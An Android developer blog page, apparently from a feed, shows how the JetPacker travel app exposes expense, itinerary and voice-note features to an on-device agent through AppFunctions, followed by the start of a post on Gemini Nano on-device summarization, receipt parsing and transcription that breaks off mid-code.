<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
